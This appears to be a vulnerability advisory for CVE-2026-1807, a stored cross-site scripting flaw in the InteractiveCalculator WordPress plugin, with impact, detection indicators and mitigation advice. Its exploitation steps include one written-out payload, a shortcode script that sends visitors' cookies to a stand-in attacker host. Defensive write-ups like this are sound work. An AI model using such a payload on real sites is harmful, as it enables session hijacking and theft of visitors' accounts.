CVE-2026-1807: 
WordPress vulnerability analysis and mitigation

CVE-2026-1807 is a Stored Cross-Site Scripting (XSS) vulnerability in the InteractiveCalculator for WordPress plugin, affecting all versions up to and including 1.0.3. The flaw arises from insufficient input sanitization and output escaping on user-supplied attributes within the plugin's interactivecalculator shortcode. It was published on February 18, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), stemming from the plugin's failure to sanitize shortcode attributes before rendering them in HTML output. An authenticated attacker with at least contributor-level access can embed malicious JavaScript within the interactivecalculator shortcode on any page or post. When a victim visits the injected page, the script executes in their browser context without any additional user interaction required (Red Hat CVE, Wordfence).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users who visit affected pages, enabling session cookie theft, credential harvesting, defacement, or redirection to malicious sites. The CVSS scope is marked as Changed, meaning the impact extends beyond the plugin itself to the broader WordPress site and its visitors. Confidentiality and integrity are both rated Low impact, with no direct availability impact (Red Hat CVE).

Exploitation requires an authenticated account with contributor-level privileges or higher, limiting opportunistic mass exploitation but making it relevant in multi-author WordPress environments. No public proof-of-concept exploit code or in-the-wild exploitation has been reported at this time. The EPSS score is approximately 0.03%, indicating a low probability of active exploitation in the near term, and the vulnerability does not appear in the CISA Known Exploited Vulnerabilities catalog (Red Hat CVE, Wordfence).

1. Gain contributor access: Register or compromise a WordPress account with at least contributor-level privileges on the target site running InteractiveCalculator ≤ 1.0.3.
2. Create or edit a post/page: Navigate to the WordPress editor and insert the interactivecalculator shortcode with a malicious attribute, e.g., [interactivecalculator attribute="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
3. Publish the content: Save and publish the page so the injected shortcode is rendered in the site's HTML output.
4. Trigger victim execution: When any site visitor (including administrators) loads the injected page, the unsanitized attribute is rendered directly into the DOM and the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Red Hat CVE, Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from contributor-level accounts containing interactivecalculator shortcode with encoded script tags or JavaScript event handlers.
• File System: Unexpected modifications to published posts or pages containing <script> tags or obfuscated JavaScript within [interactivecalculator ...] shortcode attributes in the WordPress database (wp_posts table).
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages containing the interactivecalculator shortcode, potentially carrying cookie or session data in query parameters.

WordPress site administrators should update the InteractiveCalculator plugin to a version beyond 1.0.3 if a patched release is available from the plugin's official repository. If no patch is yet available, the plugin should be deactivated and removed until a fix is released. Access controls should be reviewed to limit contributor-level account creation to trusted users, reducing the attack surface (Wordfence, Red Hat CVE).

Wordfence included this vulnerability in their weekly WordPress vulnerability report for February 16–22, 2026, as part of routine plugin security tracking. No notable independent researcher commentary or significant social media discussion has been identified beyond standard vulnerability database aggregation (Wordfence).